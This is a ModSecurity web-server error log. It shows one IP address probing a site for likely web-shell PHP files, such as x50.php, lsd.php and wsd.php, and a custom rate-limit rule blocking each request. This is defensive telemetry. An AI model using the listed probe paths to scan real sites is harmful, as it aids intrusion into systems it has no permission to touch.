[Tue Mar 24 01:06:46.650984 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29684] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "acFzJsrwr-l5A-s9ryBubwAAAQc"]
[Tue Mar 24 01:06:47.103422 2026] [:error] [pid 56238:tid 56369] [client 20.220.216.188:29651] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "acFzJ1SqceFAZRgPDq6V1AAAANU"]
[Tue Mar 24 01:06:47.933885 2026] [:error] [pid 56238:tid 56368] [client 20.220.216.188:29692] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "acFzJ1SqceFAZRgPDq6V1wAAANQ"]
[Tue Mar 24 01:06:48.361916 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29576] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acFzKMrwr-l5A-s9ryBuewAAAQI"]
[Tue Mar 24 01:06:48.772872 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29575] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acFzKMrwr-l5A-s9ryBufgAAAQU"]
[Tue Mar 24 01:06:49.191346 2026] [:error] [pid 56237:tid 56326] [client 20.220.216.188:29675] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acFzKQymO0MnzQb90MMgxQAAAIU"]
[Tue Mar 24 01:06:49.632396 2026] [:error] [pid 56237:tid 56344] [client 20.220.216.188:29656] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "acFzKQymO0MnzQb90MMgxgAAAJc"]
[Tue Mar 24 01:06:50.046856 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29584] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "acFzKgymO0MnzQb90MMgxwAAAIo"]
[Tue Mar 24 01:06:50.480947 2026] [:error] [pid 56237:tid 56321] [client 20.220.216.188:29615] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "acFzKgymO0MnzQb90MMgyQAAAIA"]
[Tue Mar 24 01:06:50.909264 2026] [:error] [pid 56237:tid 56345] [client 20.220.216.188:29583] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "acFzKgymO0MnzQb90MMgywAAAJg"]
[Tue Mar 24 01:06:51.320694 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29639] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "acFzK8rwr-l5A-s9ryBuhQAAAQI"]
[Tue Mar 24 01:06:51.757764 2026] [:error] [pid 56236:tid 56317] [client 20.220.216.188:29592] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "acFzK3apFgYp0uZ8twAd_AAAAFg"]
[Tue Mar 24 01:06:52.230308 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29653] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "acFzLMrwr-l5A-s9ryBuiAAAAQU"]
[Tue Mar 24 01:06:52.721894 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29681] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "acFzLMrwr-l5A-s9ryBuigAAARQ"]
[Tue Mar 24 01:06:53.150659 2026] [:error] [pid 56238:tid 56353] [client 20.220.216.188:29677] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "acFzLVSqceFAZRgPDq6V3QAAAMU"]
[Tue Mar 24 01:06:53.569314 2026] [:error] [pid 56238:tid 56357] [client 20.220.216.188:29539] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acFzLVSqceFAZRgPDq6V3gAAAMk"]
[Tue Mar 24 01:06:53.981954 2026] [:error] [pid 56238:tid 56370] [client 20.220.216.188:29611] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acFzLVSqceFAZRgPDq6V4AAAANY"]
[Tue Mar 24 01:06:54.519150 2026] [:error] [pid 56238:tid 56372] [client 20.220.216.188:29661] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acFzLlSqceFAZRgPDq6V4wAAANg"]
[Tue Mar 24 01:06:54.931332 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29682] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acFzLsrwr-l5A-s9ryBulgAAARc"]
[Tue Mar 24 01:06:55.415475 2026] [:error] [pid 56236:tid 56310] [client 20.220.216.188:29667] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "acFzL3apFgYp0uZ8twAd_gAAAFE"]
[Tue Mar 24 01:06:55.847673 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29568] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "acFzL1SqceFAZRgPDq6V6wAAAMs"]
[Tue Mar 24 01:06:56.259686 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29670] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "acFzMFSqceFAZRgPDq6V7AAAAM0"]
[Tue Mar 24 01:06:56.706219 2026] [:error] [pid 56236:tid 56302] [client 20.220.216.188:29688] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "acFzMHapFgYp0uZ8twAeAgAAAEk"]
[Tue Mar 24 01:06:57.127724 2026] [:error] [pid 56236:tid 56314] [client 20.220.216.188:29634] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acFzMXapFgYp0uZ8twAeBAAAAFU"]
[Tue Mar 24 01:06:57.541611 2026] [:error] [pid 56236:tid 56316] [client 20.220.216.188:29647] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acFzMXapFgYp0uZ8twAeCgAAAFc"]
[Tue Mar 24 01:06:57.958468 2026] [:error] [pid 56236:tid 56293] [client 20.220.216.188:29535] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acFzMXapFgYp0uZ8twAeDAAAAEA"]
[Tue Mar 24 01:06:58.371839 2026] [:error] [pid 56237:tid 56324] [client 20.220.216.188:29666] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acFzMgymO0MnzQb90MMg0wAAAIM"]
[Tue Mar 24 01:06:58.802334 2026] [:error] [pid 56238:tid 56354] [client 20.220.216.188:29690] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "acFzMlSqceFAZRgPDq6V-gAAAMY"]
[Tue Mar 24 01:06:59.222469 2026] [:error] [pid 56236:tid 56295] [client 20.220.216.188:29586] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "acFzM3apFgYp0uZ8twAeDQAAAEI"]
[Tue Mar 24 01:06:59.636270 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29581] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "acFzM8rwr-l5A-s9ryBungAAAQE"]
[Tue Mar 24 01:07:00.089035 2026] [:error] [pid 56435:tid 56516] [client 20.220.216.188:29621] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "acFzNMrwr-l5A-s9ryBupwAAAQ8"]
[Tue Mar 24 01:07:00.561980 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29589] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "acFzNMrwr-l5A-s9ryBuqQAAAQo"]
[Tue Mar 24 01:07:00.973048 2026] [:error] [pid 56237:tid 56344] [client 20.220.216.188:29694] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "acFzNAymO0MnzQb90MMg1gAAAJc"]
[Tue Mar 24 01:07:01.403099 2026] [:error] [pid 56237:tid 56345] [client 20.220.216.188:29632] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "acFzNQymO0MnzQb90MMg2wAAAJg"]
[Tue Mar 24 01:07:01.812804 2026] [:error] [pid 56237:tid 56333] [client 20.220.216.188:29685] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "acFzNQymO0MnzQb90MMg3AAAAIw"]
[Tue Mar 24 01:07:02.228603 2026] [:error] [pid 56237:tid 56322] [client 20.220.216.188:29679] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "acFzNgymO0MnzQb90MMg3wAAAIE"]
[Tue Mar 24 01:07:02.650612 2026] [:error] [pid 56237:tid 56338] [client 20.220.216.188:29693] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "acFzNgymO0MnzQb90MMg4wAAAJE"]
[Tue Mar 24 01:07:03.080630 2026] [:error] [pid 56238:tid 56351] [client 20.220.216.188:29633] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "acFzN1SqceFAZRgPDq6WAAAAAMM"]
[Tue Mar 24 01:07:03.502672 2026] [:error] [pid 56237:tid 56326] [client 20.220.216.188:29695] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "acFzNwymO0MnzQb90MMg5gAAAIU"]
[Tue Mar 24 01:07:03.913065 2026] [:error] [pid 56236:tid 56317] [client 20.220.216.188:29504] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acFzN3apFgYp0uZ8twAeHQAAAFg"]
[Tue Mar 24 01:07:04.373928 2026] [:error] [pid 56236:tid 56308] [client 20.220.216.188:29691] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acFzOHapFgYp0uZ8twAeIAAAAE8"]
[Tue Mar 24 01:07:04.787137 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29612] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acFzOMrwr-l5A-s9ryButgAAAQo"]
[Tue Mar 24 01:07:05.202533 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29602] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acFzOcrwr-l5A-s9ryBuuQAAARQ"]
[Tue Mar 24 01:07:05.636593 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29608] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFzOcrwr-l5A-s9ryBuvgAAAQE"]
[Tue Mar 24 01:07:06.057788 2026] [:error] [pid 56435:tid 56516] [client 20.220.216.188:29650] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFzOsrwr-l5A-s9ryBuwAAAAQ8"]
[Tue Mar 24 01:07:06.471604 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29570] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFzOsrwr-l5A-s9ryBuxgAAAQo"]
[Tue Mar 24 01:07:06.888777 2026] [:error] [pid 56435:tid 56511] [client 20.220.216.188:29607] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "acFzOsrwr-l5A-s9ryBuxwAAAQs"]
[Tue Mar 24 01:07:07.312288 2026] [:error] [pid 56237:tid 56323] [client 20.220.216.188:29657] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "acFzOwymO0MnzQb90MMg6wAAAII"]
[Tue Mar 24 01:07:07.724801 2026] [:error] [pid 56237:tid 56333] [client 20.220.216.188:29600] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "acFzOwymO0MnzQb90MMg7AAAAIw"]
[Tue Mar 24 01:07:08.135196 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29603] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "acFzPFSqceFAZRgPDq6WBQAAAMs"]
[Tue Mar 24 01:07:08.550469 2026] [:error] [pid 56237:tid 56332] [client 20.220.216.188:29658] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "acFzPAymO0MnzQb90MMg7gAAAIs"]
[Tue Mar 24 01:07:08.970673 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29547] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "acFzPMrwr-l5A-s9ryBu0QAAAQU"]
[Tue Mar 24 01:07:09.397727 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29551] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "acFzPcrwr-l5A-s9ryBu0wAAAQQ"]
[Tue Mar 24 01:07:09.813934 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29571] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "acFzPcrwr-l5A-s9ryBu2QAAARg"]
[Tue Mar 24 01:07:10.235709 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29630] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "acFzPlSqceFAZRgPDq6WCwAAAM0"]
[Tue Mar 24 01:07:10.654498 2026] [:error] [pid 56238:tid 56357] [client 20.220.216.188:29590] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "acFzPlSqceFAZRgPDq6WDQAAAMk"]
